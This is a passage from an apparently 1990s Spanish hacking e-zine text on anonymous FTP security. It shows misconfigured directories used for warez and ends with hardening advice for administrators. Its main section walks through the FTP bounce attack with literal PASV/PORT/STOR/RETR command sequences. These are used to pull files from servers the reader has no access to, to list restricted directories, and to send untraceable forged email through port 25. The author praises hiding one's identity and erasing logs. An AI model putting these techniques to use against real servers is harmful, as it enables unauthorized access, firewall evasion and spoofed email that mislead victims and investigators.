lrwxrwxrwx   1 ftp      ftp           12 Feb 14  1996 incoming -> pub/incoming
d--x--x--x   7 root     ftpriv       512 Sep 25 17:35 priv
dr-xr-xr-x  12 ftp      ftp         1024 Feb 12 13:05 pub
dr-xr-xr-x   4 ftp      ftp          512 Feb 19  1996 usr

--> Otro ejemplo de site vulnerable. Como veis el directorio raiz pertenece
al usuario ftp.

----------------------------------------

No solo basta con hacer que el usuario ftp no posea ningun fichero importante
sino que hay que hacer que no pueda acceder o modificar los archivos de otros 
usuarios.

Nunca otorgar acceso de escritura al usuario ftp en ningun fichero o 
directorio, excepto en los directorios que obligatoriamente lo requieran, 
como /incoming o /upload pero con mucho cuidado.

En los directorios donde se permitan uploads se debe limitar la lectura
para evitar posibles downloads, y la creacion de un site para warez por 
ejemplo.

====================

drwxrwxr-x   2 ftp      ftp          512 May 15 12:49 %23..
drwxrwxr-x   2 ftp      ftp          512 May 15 16:36        .
drwxrwxrwx   5 ftp      ftp         1024 Jul 17 12:41 .
dr-xr-xr-x   8 ftp      ftp         1024 Mar  1 02:35 ..
drwxrwxr-x   4 ftp      ftp          512 Jul 10 20:49 Phase3
-rw-rw-r--   1 ftp      ftp          284 Jul 17 12:41 mail.txt

--> Como veis este es un directorio /incoming mal configurado. Los
directorios: Phase3, %23 y '      .' son directorios creados para el
intercambio de warez. El fichero mail.txt es el fichero de instrucciones
para enviar correo intraceable explicado en el proximo apartado.

====================

Sobre todo hay que tener mucho cuidado con los ficheros .rhosts y .forward
asignadolos siempre al root, y con estrictos permisos.

 


 8. EL ATAQUE DEL SALTO (BOUNCE ATTACK)                                   
----------------------------------------

El ataque del salto o mas conocido como Bounce attack, es un tipo de uso poco 
ortodoxo de un servidor de FTP, pero que no se puede clasificar ni como bug 
ni como defecto de configuracion. Basicamente el ataque consiste en hacer que 
el servidor FTP reciba y envie informacion de una forma poco normal y que 
puede permitirnos realizar acciones bastante interesantes.

El ataque (si se puede llamar asi) se basa en dos comandos, PASV y PORT. El 
primero de ellos, como ya hemos explicado, le indica al servidor FTP, que 
espere la llegada de datos en un puerto. Y el segundo le indica que envie 
datos a un puerto determinado de otra maquina. De esta sencilla manera se 
puede hacer que el servidor envie y reciba datos de otros ordenadores 
conectados a la red.

Los usos de este ataque son multiples, desde mandar correo o news desde el
servidor FTP camuflando su origen, bajar ficheros de sites no accesibles
a traves de un servidor de FTP, saltar una firewall, atacar varios sites
a la vez, dificultar que te traceen, etc... En todos ellos se usa el servidor 
de FTP, como puente para hacer un salto y ocultar nuestra verdadera identidad.

Y la forma mas clara de explicar este tipo de usos, es con un ejemplo:


 8.A. TRAER FICHEROS DE UN SERVIDOR AL QUE NO TENEMOS ACCESO
-------------------------------------------------------------

En este ejemplo vamos a suponer, que queremos traer un fichero de un servidor 
FTP, al que por alguna razon, no tenemos acceso, pero conocemos otro servidor 
FTP al que si tenemos acceso y que esta en la misma red o tiene comunicacion 
con nuestro objetivo. De esta manera vamos a usar el segundo servidor FTP 
como puente entre nosotros y nuestro objetivo.

El servidor FTP que usaremos de puente debe poder funcionar en modo pasivo 
(aceptar el comando PASV)

Pues el primer paso que debemos dar, es conectarnos al FTP puente y situarnos 
en un directorio en el que tengamos acceso de escritura (y preferentemente 
tambien lectura de los ficheros que subamos) normalmente sera incoming o algo 
parecido. Una vez alli enviamos estos comandos:

usuario>        PASV
ftp.puente>     227 Entering Passive Mode (h1,h2,h3,h4,p1,p2).    

Toma nota de la direccion y del puerto que devuelve el comando PASV
h1,h2,h3,h4,p1,p2 ya que este es el puerto donde el FTP puente esta esperando 
recibir los datos.

usuario>        STOR fichero.donde.aparecera

Ahora el FTP puente esta esperando recibir el fichero: 
'fichero.donde.aparecera' a traves de la direccion que nos devolvio el 
comando pasv. Esta sesion de FTP se quedara por tanto esperando la recepcion 
del fichero. Lo que tenemos que hacer nosotros ahora es abrir una nueva 
sesion con el FTP puente (sin cerrar la que esta en espera del fichero)

En esta nueva sesion, lo que tenemos que hacer es enviar un fichero al FTP 
puente. En este fichero se incluira esto (por ejemplo)

        user ftp  (o anonymous)
        pass -guest@    (cualquiera que os apetezca)
        cwd /directorio-donde-este-el-fichero-objetivo
        type i
        port h1,h2,h3,h4,p1,p2
        retr fichero.que.queremos

Este fichero contendra unas ordenes que seran enviadas al FTP objetivo y que 
haran que este envie el fichero que queremos hacia una direccion que 
especificaremos con el comando PORT. 

šY cual es esa direccion donde enviaremos el fichero? 

Pues logicamente sera al puerto de la primera conexion, donde el FTP puente 
esta esperando recibir el fichero 'fichero.donde.aparecera' De esta manera el 
FTP objetivo enviara el fichero que queriamos al FTP puente quedando 
almacenado en el fichero 'fichero.donde.aparecera'

šY como hacer que el FTP objetivo reciba ese fichero con las instrucciones?

Pues facilemnete:

usuario>        STOR fichero.de.instrucciones

Esto almacena el fichero de instrucciones en el FTP puente.

usuario>        PORT C,C,C,C,0,21

Esto le indica al FTP puente que envie datos hacia la direccion C.C.C.C en el 
puerto 21 (la conexion de control) šY que direccion es C.C.C.C? pues 
logicamente esa es la direccion del FTP objetivo.
       
usuario>        RETR fichero.de.instrucciones

Y con esta sorprendente sencillez ordenamos al FTP puente que 'RETRIEVE' ese 
fichero, pero no nos lo envia a nosotros sino que lo envia a la direccion y 
el puerto indicado con el comando PORT.

De esta manera el FTP objetivo recibe una conexion de control en el puerto 21 
que contiene el fichero con las instrucciones que hemos preparado y que hace 
que el FTP objetivo siga esas instrucciones y nos envie el fichero que 
buscabamos.

Ahora en la primera conexion empezara a llegar el fichero que queriamos y se 
ira almacenando en el fichero 'fichero.donde.aparecera' solo tenemos que 
esperar un poco y ya tenemos lo que queriamos.


 8.B. PROBLEMAS
----------------

1. Pues el primer problema que hay es que hemos dejado una conexion de 
control abierta entre el FTP puente y el objetivo. Si os habeis fijado en el
fichero de instrucciones no hemos dado la orden QUIT porque si damos esta 
orden la conexion de datos tambien se cerrara y el fichero que queriamos no 
llegara al FTP puente. Pero al no dar esta orden la conexion sigue abierta 
indefinidamente. Hay varias soluciones para esto, pero de las que he leido 
ninguna me convence. Si no teneis conciencia, no os importara dejar esta 
conexion "abandonada" pero si os entra remordimientos de dejar eso tan a 
medias, podeis intentar algo de esto.

-Hobbit en su texto FTP Bounce attack, incluye la orden QUIT en el fichero de 
instrucciones y para que la conexion de datos no se cierre demasiado pronto, 
introduce despues del quit una serie muy larga de caracteres nulos (^@), que 
haran que el servidor FTP pierda tiempo y no cierre la conexion. Este sistema
no me acaba de gustar, porque en muchas ocasiones no funciona, o si el 
fichero es muy grande, aunque metamos muchos caracteres de retorno de carro, 
la sesion FTP se cierra antes de enviar completamente el fichero. Es la 
solucion mas facil, pero no me acaba de convencer. Por si os interesa este es 
el ejemplo que pone:

        user ftp
        pass -anonymous@
        cwd /export-restricted-crypto
        type i
        port F,F,F,F,X,X
        retr crypto.tar.Z
        quit
        ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
        ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
        ...
        (El numero de caracteres nulos, tiene que ser mayor cuanto mas
        largo sea el fichero a traer)

-Otra solucion es dejar la conexion abierta, aunque esto es poco cyber-etico, 
no es que sea muy grave dejar la conexion abierta, pero si todo el mundo 
fuese haciendo lo mismo, internet seria un caos. Tened en cuenta que los 2 
servidores estan las 24 horas conectados y a menos que alguien lo solucione, 
podrian quedarse asi, indefinidamente.

-Otra solucion mucho mas etica, es introducir antes del quit, alguna orden 
que hiciese perder tiempo al servidor, como un NOOP o algo por el estilo, 
calculando el numero de comandos necesarios para ocupar al servidor mientras 
dure la transmision. (Aunque tampoco es un metodo seguro)

-Si a alguien se le ocurre o conoce alguna solucion, por favor que me la
envie para incluirla en proximas versiones del texto.


2. El segundo problema, es que si no tienes acceso al FTP objetivo, no puedes 
ver la estructura de directorios. Bueno, este problema es de facil solucion, 
solo hay que incluir la orden de LIST, en un fichero de ordenes e ir 
recibiendo poco a poco los listados del FTP obejetivo. Es un poco lento y 
pesado hasta que encuentras lo que quieres, pero ESTAS DENTRO!!


3. Hay servidores que solo permiten que la conexion de datos sea hecha con el 
mismo ordenador que origino la conexion de control. Esto limita mucho este 
truco y es practicamente imposible de evitar, pero aun te deja un par de 
acciones posibles.


4. Hay versiones de servidores de FTP que estan preparados para evitar
el uso de comandos PORT aleatorios. Los que mas habitualmente tiene
este tipo de medidas de seguridad son los que funcionan con versiones
actuales de wu-ftpd. (Aunque no todos)


5. Por extra€as razones, en un numero elevado de casos, las conexiones entre 
los dos servidores de FTP implicados se cortan o se bloquean. En algunos 
casos incluso cae el propio servidor. No soy experto en este tipo de 
software, pero supongo que sera un bug del sistema o tal vez sea un problema 
de la propia internet. Tambien hay versiones de ftpd que se niegan a hacer 
funcionar este tipo de trucos, sin razon aparente, no se porque lo haran, 
simplemente se niegan, sin dar mensajes de error ni ningun sintoma aparente 
:-?. Si alguien sabe el porque, que lo diga.


6. Pero el problema mas importante es la renovacion de las versiones del
ftpd, aunque todavia siguen quedando un gran numero de servidores con
versiones antiguas, la mayoria de los sistemas estan actualizando sus
versiones de este software o incluso en muchos casos estan cerrando sus
servidores FTP. Parece que la web esta acabando con el FTP a una gran 
velocidad, puede que incluso mientras estoy escribiendo este articulo 
la informacion que estoy incluyendo ya este anticuada o se quede anticuada
en pocos meses...


Estoy probando esta tecnica en servidores FTP (con acceso a internet) de 
infovia para traer ficheros de internet sin tener acceso a la red. El 
experimento esta todavia en desarrollo pero parece que funciona... Si 
consigo una forma segura de realizarlo tal vez escriba un articulo sobre 
ello.


 8.C. CORREO INTRACEABLE 
-------------------------

Otro uso muy interesante es la posibilidad de mandar correo intraceable
(bueno, al menos el verdadero origen no aparece en el rutado) En esta
ocasion basta con un solo servidor de FTP (aunque para mas seguridad se 
pueden emplear 2 o mas) y su funcionamiento es mucho mas sencillo.

Simplemente se hace lo mismo, que en el ejemplo anterior cuando se queria 
mandar el fichero con las instrucciones, solo que en este caso, el fichero 
de instrucciones se enviara al puerto de correo (25) de la maquina que 
queramos. Por ejemplo el fichero de ordenes podria ser algo asi:

        (Para empezar puede que haga falta un HELO, eso ya tienes
        que averiguarlo tu.)
        MAIL FROM: aznar@la-moncloa.es
        RCPT TO: el_duke@usa.net
        DATA
        ayudita
        hola duke:
        Me preguntaba si me podrias ayudar, como en las pasadas elecciones
        y modificar los resultados electorales, para que vuelva a salir
        presidente.
        Muchas Gracias                        
        J.M. Aznar presidentisimo de Espa€a
        .
        QUIT


usuario>        STOR fichero.de.instrucciones
usuario>        PORT C,C,C,C,0,25
usuario>        RETR fichero.de.instrucciones


Hay infinitas variantes y usos de este truco, el unico limite es tu 
imaginacion y tus conocimientos tecnicos. Y por supuesto si descubres algun 
truco interesante hazmelo saber.


Aviso que este tipo de tecnicas vuelve muy inestable al ftpd desde el que
se hacen y es recomendable no prolongar mucho la conexion, ya que estos
daemons tienden a colgarse y a hacer cosas raras.




 9. CONSEJOS DE SEGURIDAD PARA ADMINISTRADORES                            
-----------------------------------------------

Y despues de describir la enfermedad, no podia faltar la seccion dedicada a 
la cura. En esta seccion voy a intentar ayudar a los administadores novatos a 
configurar un servidor de FTP inicialmente seguro, y digo inicialmente porque 
en esto de la configuracion de un servidor seguro, las herramientas mas 
importantes son la experiencia y el software actualizado frecuentemente.

Y me reitero en esto, la seguridad de un servidor depende muchas veces de
un software actualizado y libre de bugs conocidos. Los hackers mas peligrosos
son los novatos que se limitan a buscar un bug conocido y probarlo en 
cientos de maquinas hasta que funcione en alguna... El software nuevo puede
que tenga bugs nuevos y desconocidos, pero ningun hacker novato los va a
descubrir.

Si eres un administrador experimentado, seguramente sabras todo lo que
explico aqui y probablemente mucho mas, asi que puedes leerlo si quieres
para aconsejarme sobre detalles que deberia incluir en nuevas versiones
de ese texto, pero probablemente su lectura no te aportara nada nuevo.

Estos consejos son ampliamente conocidos y han sido publicados ya en  
varios textos, pero por si alguien no se maneja muy bien en el ingles los
he traducido y adaptado al castellano.
  
1. Primero consigue la version mas reciente del software de ftpd. El mas
recomendable y estandar es el wu-ftpd.

2. Crea el usuario ftp en tu fichero de passwords. Metelo en un grupo
cualquiera aunque tambien es recomendable crear su propio grupo. Su 
directorio inicial sera ~ftp, que sera el directorio raiz que veran los
usuarios anonimos. Asignale un password invalido y un shell ciego.

ftp:*:400:400:FTP anonimo:/home/ftp:/bin/flase

Aviso: Al crear este usuario se conecta la conexion anonima al ftp, asi que 
cuidado...

3. Crea el directorio ~ftp (/home/ftp por ejemplo) poseido por el root
(NUNCA por ftp) con el mismo grupo que ftp. De esta manera los permisos del
poseedor seran para el root y los permisos de grupo seran para los usuarios
anonimos.

chmod 555 ~ftp -->lectura, NO escritura(!) y ejecucion

Nota: En algunos textos recomiendan que el grupo al que asignemos los 
archivos no sea el mismo que el de ftp. En realidad si las permisos estan
correctamente asignados no habria que temer nada si el grupo que posee un 
fichero es el del usuario ftp.

4. Crea el directorio ~ftp/bin poseido por root con permisos 111.

5. Pon el binario 'ls' en el directorio poseido por root y con los mismos
permisos, 111. Cualquier binario que se a€ada a este directorio debera tener
estas mismas caracteristicas.

Como habreis notado, todo el material delicado debe ser poseido por el root y 
sin acceso de escritura. Y sobre todo ningun fichero ni directorio debe ser
poseido por el usuario ftp.
  
6. Crea el directorio ~ftp/etc, ni que decir que sera poseido por root y
con permisos 111.

7. Crea los ficheros ~ftp/etc/passwd y ~ftp/etc/group, con modo 444. Por
supuesto estos ficheros no tienen que ser los verdaderos passwd y group
sino que son unos patrones. El fichero passwd contendra mas o menos estas 
cuentas: root, daemon, uucp, and ftp y los usuarios que posean ficheros
dentro de los subdirectorios de ~ftp. El fichero de group debe contener el
grupo del usuario ftp y los grupos a los que pertenezcan los usuarios 
contenidos en el ~ftp/etc/passwd.

Todas las cuentas deben tener el password '*' 

root:*:0:0:Ftp maintainer::
ftp:*:400:400: Anonymous ftp::

Estos dos ficheros simplemente sirven para que el comando 'ls' (LIST)     
muestre el propietario y el grupo de cada fichero y directorio. En algunas
versiones de ftpd no es necesario incluirlos y en vez del campo propietario
y grupo aparecen numeros, como en este ejemplo.

--------------------

drwxrwxr-x  2 152      111          1536 Jun 13 13:12 Abst
-rwxrwxr-x  1 152      111          4341 Apr  4  1995 INDEX
drwxrwxr-x  2 152      111          1536 Jun 13 13:21 Ps
drwxrwxr-x  2 152      111           512 Jun  5  1995 Ref
drwxrwxr-x  2 152      111           512 Apr  6  1995 Search
-rwxrwxr-x  1 152      111        245738 Feb 16  1995 TR-94-01.ps
-rwxrwxr-x  1 152      111        152365 Dec  9  1994 TR-94-02.ps
-rwxrwxr-x  1 152      111           252 Jan 11  1995 at_work_icon.gif
-rw-rw-r--  1 133      111         33989 Jun 13 13:29 papers.html

--> Los apartados correspondientes a owner y group son ocupados por
numeros.

--------------------

8. Crea el directorio ~ftp/pub/ con el propietario de siempre y permisos 
555. Los ficheros publicos seran colocados aqui y tendran los mismos
permisos (555)

9. Si se crea un directorio para que los usuarios anonimos dejen ficheros 
por ejemplo /incoming este directorio debera ser poseido por root con los
permisos 733. Habra que configurar el ftpd para que no permita sobreescribir
ficheros, por ejemplo configurandolo para que los ficheros uploadeados
queden almacenados con permisos 600 y poseidos por el root.
     
10. Crea un particion independiente para el area de uploads del ftp para 
prevenir un ataque de denegacion de servicio.

11. En el directorio ~ftp/bin habra que incluir el menor numero de binarios
posibles. Si se quiere instalar algun tipo de extensiones como compresion/
descompresion habra que instalar los correpondientes binarios, siempre
comprobando que no tengan ninguna utilidad secundaria. (Mirar el bug del
gnu tar en el apartado de bugs)

11. Los ficheros .rhosts y .forward deben tener un tama€o 0 y estar poseidos
por el root (400) Estos dos ficheros son los mas delicados en materia de
seguridad y deben ser vigilados frecuentemente.

12. Si no son usados desactiva los comandos SITE, especialmente el SITE EXEC,
y el SITE CHMOD.




 10. NOTAS FINALES Y BIBLIOGRAFIA
----------------------------------

Espero que os haya gustado y que la informacion os sea de utilidad, en 
vuestro trabajo o en vuestro tiempo libre. 

Para cualquier consulta (razonable) sobre el tema, o para cualquier consejo o 
nueva informacion para futuras ediciones, podeis mandarlo a: 
-> el_duke@usa.net <-


Solo respondere aquellos mensajes que 
esten encriptados con mi llave PGP:



[ Lecturas recomendadas ]

-"The FTP Bounce Attack" / por *Hobbit* / 12 Jul 1995 

-RFC N§ 0959  J. Postel, J. Reynolds, "File Transfer Protocol", 10/01/1985.  
             (Pages=69) (Format=.txt) (Obsoletes RFC0765) (STD 9) 

-Anonymous FTP FAQ / (1996/7/16) / Version: 3.00 
Internet Security Systems, Inc.

-Saqueadores Edicion Tecnica / varios numeros

-UNIX Computer Security Checklist / (Version 1.1) / 19-Dec-1995
The Australian Computer Emergency Response Team (AUSCERT)

-INTRODUCTION TO DENIAL OF SERVICE, FAQ por Hans Husman

-Grupo de hacking de las news de axis (axis.org)




 11. DESPEDIDA
---------------         

Y sobre todo no olvideis que internet es de todos, que la informacion es de 
todos, compartir estos conocimientos con todo el mundo es importante. Pero 
es mas importante aun que mantengais una cyber-etica realista y respetuosa 
con los demas.

                                                Saludos de El Duke de Sicilia




"Los medicos, cuando fallan, pueden enterrar sus errores. Nosotros, los 
hackers, nos tenemos que conformar con borrar los logs"




GRUPO   ###  ###  ###  # #  ###  ###  ##    #   ##   ###  ###
        #    # #  # #  # #  #    # #  # #  # #  # #  #    #  
        ###  ###  # #  # #  ##   ###  # #  # #  ##   ##   ###
          #  # #  # #  # #  #    # #  # #  # #  # #  #      #
        ###  # #  ##\  ###  ###  # #  ##    #   # #  ###  ###